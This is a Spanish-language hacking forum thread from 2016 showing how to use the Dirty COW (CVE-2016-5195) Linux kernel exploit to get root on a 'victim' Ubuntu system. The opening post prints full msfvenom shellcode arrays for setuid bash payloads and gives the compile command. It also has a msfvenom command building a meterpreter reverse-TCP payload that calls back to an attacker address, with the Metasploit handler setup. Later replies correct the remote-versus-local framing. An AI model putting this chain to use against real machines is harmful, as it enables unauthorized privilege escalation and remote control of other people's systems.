Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

Iniciado por BrowserNet, Diciembre 03, 2016, 08:52:01 PM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

Diciembre 03, 2016, 08:52:01 PM Ultima modificación: Diciembre 07, 2016, 02:54:48 AM por BrowserNet


Hace aproximadamente un mes, la comunidad linuxera (incluyéndome) se entero de una noticia que simplemente no se podría creer, un fallo de hace 9 años nuevamente estaba presente exponiendo un gran agujero de seguridad en las versiones: Ubuntu 14.04 y Ubuntu 15.10.

las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root por medio de dicho una explotacion local, exponiendo todo el sistema de la victima sin ninguna excepción.

el bug también afecta a todos los dispositivos android de la versión 7 para abajo.

Elevando privilegios de usuario a root en Ubuntu 15.10



Exploit:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo primero que debemos hacer ver la fuente del archivo en 40616.c, lo puede hacer en cualquier editor de texto, en mi caso lo abrí por Sublime Text, para que puedan ver lo principal. 



Vemos que el exploit esta generado en msfvenom quiere decir que es un payload.

Este exploit funciona de la siguiente manera, notaron que hay 2 payloads de 64 y 32 bits, por default el de 64bits esta sin comentarios cabe decir que funcionara solamente para esa arquitectura, ya que el de 32 bits esta comentado y no ejercerá ninguna función.


64bits
Código: php

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;


32bits

Código: php

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/


En esta prueba de concepto, estoy exponiendo un sistema "UBUNTU 32BITS", cabe decir que eliminare el payload de 64 bits con todos sus atributos, para quedarme solamente con la arquitectura de 32bits:



ojo: también eh eliminado los comentarios del payloads de 32 bits.

luego de guárdalo pasaremos a compilar el archivo .c

Código: php
root@kali:~# gcc 40616.c -o 40616 -pthread 




Una ves compilado correctamente, podemos subirlo al servidor de la victima creo que no hay necesidad de pasar a ese proceso ya que existen muchas maneras de hacerlo, si no sabes te invito a buscar los artículos de metasploit framework, en el blog.



Ustedes pueden crear su payload en formato linux, ya que deben hacerlo para poder ejecutar formatos compilados con permisos.



Creando payload en linux 32bits

Código: php

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.35 LPORT=8081 -f elf > /root/Desktop/shell.elf




Estableciendo conexión meterpreter

Código: php
msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.35
msf exploit(handler) > set LPORT 8081
msf exploit(handler) > exploit




Entonces le enviaremos nuestro payload a nuestra victima, en el momento que la victima ejecute tendremos su sesión meterpreter:



entramos a terminal y ejecutamos el "Exploit", vemos que se ejecuto correctamente, hemos escalado los privilegios root y por ende tenemos todos los permisos.

Siempre es bueno enseñar pruebas de todo, ejecutaremos el exploit en la misma maquina con un usuario llamado prueba:

./40616



El exploit funciono correctamente, esto fue todo estimados lectores espero les halla encantado este post.

Buena data, esto me hace acordar a otro famoso root exploit que cuando salio a ala luz ya tenia años de ser utilizado claro en un circulo cerrado de atacantes que lo tenían hasta que lo liberan (hasta eso ya rootearon miles de servidores) xD.
como recomendación a tu post te diria que quites esa parte que dice: "las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root de manera remota"... ya que a simple vista el exploit tiene que ser ejecutado desde dentro del servidor siendo mas bien un "local root exploit" y quizás esto se preste para confusión.

Saludos!, EPSILON.

Ya la había publicado un post sobre esto :v
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Diciembre 07, 2016, 02:53:52 AM #3 Ultima modificación: Diciembre 07, 2016, 06:15:34 AM por Stiuvert
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buena data, esto me hace acordar a otro famoso root exploit que cuando salio a ala luz ya tenia años de ser utilizado claro en un circulo cerrado de atacantes que lo tenían hasta que lo liberan (hasta eso ya rootearon miles de servidores) xD.
como recomendación a tu post te diria que quites esa parte que dice: "las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root de manera remota"... ya que a simple vista el exploit tiene que ser ejecutado desde dentro del servidor siendo mas bien un "local root exploit" y quizás esto se preste para confusión.

Saludos!, EPSILON.

jejeje, me comi el local root exploit y por una pequeña confusion añadi forma remota, me retracto gracias por su colaboracion mi buen amigo, un saludo y un fuerte abrazo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya la había publicado un post sobre esto :v

si vi tu post hermano, por eso le quize aumentar las tecnicas de penetracion a un sistema GNU por medio de un payload, para poder ejecutar el root exploit, un saludo mi bro!

Nuevo local exploit para la version del kernel 4.4.0

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cuando salió este exploit después de obtener acceso root congelaba la pc víctima haciendo Imposible el uso   , esto ya se corrigió o sigue igual?